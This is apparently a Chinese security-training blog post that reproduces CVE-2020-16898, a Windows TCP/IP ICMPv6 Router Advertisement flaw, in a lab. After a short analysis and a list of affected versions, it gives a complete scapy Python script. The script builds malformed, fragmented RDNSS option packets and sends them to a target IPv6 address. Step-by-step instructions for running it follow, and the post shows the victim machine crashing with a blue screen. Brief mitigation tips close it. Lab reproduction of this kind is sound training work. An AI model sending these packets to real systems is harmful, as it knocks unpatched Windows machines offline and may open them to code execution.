CVE-2020-16898漏洞复现 – 作者:东塔安全学院

本文由东塔网络安全学院-10期班学员-社区火猫投稿。

漏洞简介

当Windows TCP / IP大小不当处理ICMPv6路由器广告数据包时,存在远程执行代码入侵。成功利用此入侵的攻击者可以获取目标服务器或客户端上执行代码的能力,可以让受害机蓝屏

为了利用此漏洞,攻击者可能必须将经过特殊设计的ICMPv6路由器广告数据包发送到远程Windows计算机上。

漏洞分析

当Windows TCP / IP堆栈不适当地处理使用选项类型25(递归DNS服务器选项)且长度字段值为偶数的ICMPv6路由器广告数据包时,存在一个漏洞。

当提供一个偶数长度值时,Windows TCP / IP堆栈错误地将网络缓冲区的行进量减少了8个字节。这是因为堆栈在内部以16字节为增量进行计数,因此无法解决使用非RFC兼容长度值的情况。这种不匹配导致堆栈将当前选项的最后8个字节解释为第二个选项的开始,最终导致缓冲区溢出和潜在的RCE。

影响版本

• Microsoft Windows 10 1709• Microsoft Windows 10 1803• Microsoft Windows 10 1809• Microsoft Windows 10 1903• Microsoft Windows 10 1909• Microsoft Windows 10 2004• Microsoft Windows Server 2019

环境部署

攻击机IP:192.168.192.1(win10 1909)

图片[1]-CVE-2020-16898漏洞复现 – 作者:东塔安全学院-安全小百科

靶机IP:192.168.192.128 (win10 1809)

图片[2]-CVE-2020-16898漏洞复现 – 作者:东塔安全学院-安全小百科

漏洞复现

确定靶机开启NAT模式以及开启ipv6

全屏模式下点击虚拟网络编辑器然后点击更改设置

图片[3]-CVE-2020-16898漏洞复现 – 作者:东塔安全学院-安全小百科

然后再开启ipv6,点击确定

图片[4]-CVE-2020-16898漏洞复现 – 作者:东塔安全学院-安全小百科

确认两台机器都可以互相ping通

靶机ping攻击机

图片[5]-CVE-2020-16898漏洞复现 – 作者:东塔安全学院-安全小百科

攻击机ping靶机

图片[6]-CVE-2020-16898漏洞复现 – 作者:东塔安全学院-安全小百科

查看靶机的ipv6地址

图片[7]-CVE-2020-16898漏洞复现 – 作者:东塔安全学院-安全小百科

查看攻击机的ipv6地址

图片[8]-CVE-2020-16898漏洞复现 – 作者:东塔安全学院-安全小百科

接着使用一个网上的pyload

内容为

from scapy.all import *from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6 v6_dst = “fd15:4ba5:5a2b:1008:5d26:75a3:1641:ee3” #根据上面的修改为目标机的ipv6地址 或者 临时ipv6地址v6_src = “fe80::9548:d004:9491:9c34%13″ #攻击者的本地ipv6地址 p_test_half = ‘A’.encode()*8 + b”\x18\x30” + b”\xFF\x18″p_test = p_test_half + ‘A’.encode()*4 c = ICMPv6NDOptEFA() e = ICMPv6NDOptRDNSS()e.len = 21e.dns = [“AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA”,”AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA”,”AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA”,”AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA”,”AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA”,”AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA”,”AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA”,”AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA”,”AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA”,”AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA” ]aaa = ICMPv6NDOptRDNSS()aaa.len = 8pkt = ICMPv6ND_RA() / aaa / \ Raw(load=’A’.encode()*16*2 + p_test_half + b”\x18\xa0″*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \ IPv6ExtHdrFragment()/pkt l=fragment6(p_test_frag, 200) for p in l: send(p)

上边的目标机的ip要为ipv6地址或临时ipv6地址

攻击机的ipv6要为本地链接ipv6地址

将地址写入到payload中,可以实施攻击。

攻击的要利用到一个scapy的组件,这个组件依赖于python环境

在攻击机上装上python环境 (从官网下载并配置环境)

Scapy是一个Python程序,使用户能够发送,嗅探和剖析并伪造网络数据包。此功能允许构建可以探测,扫描或攻击网络的工具。

命令为:pip install scapy

如果失败的话可能是python版本太高,可以选用python3.7版本的

图片[9]-CVE-2020-16898漏洞复现 – 作者:东塔安全学院-安全小百科

可以看出我是装了这个组件的

启动scapy,出现如下界面

图片[10]-CVE-2020-16898漏洞复现 – 作者:东塔安全学院-安全小百科

cd进入桌面(桌面存在这个文件)

然后使用这个命令:

python CVE-2020-16898.py

可以看到受害机蓝屏

图片[11]-CVE-2020-16898漏洞复现 – 作者:东塔安全学院-安全小百科

实验完成

漏洞修复

尽量开启防火墙

关闭ipv6服务

对外部流量进行严格过滤

来源:freebuf.com 2021-01-08 13:58:03 by: 东塔安全学院

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论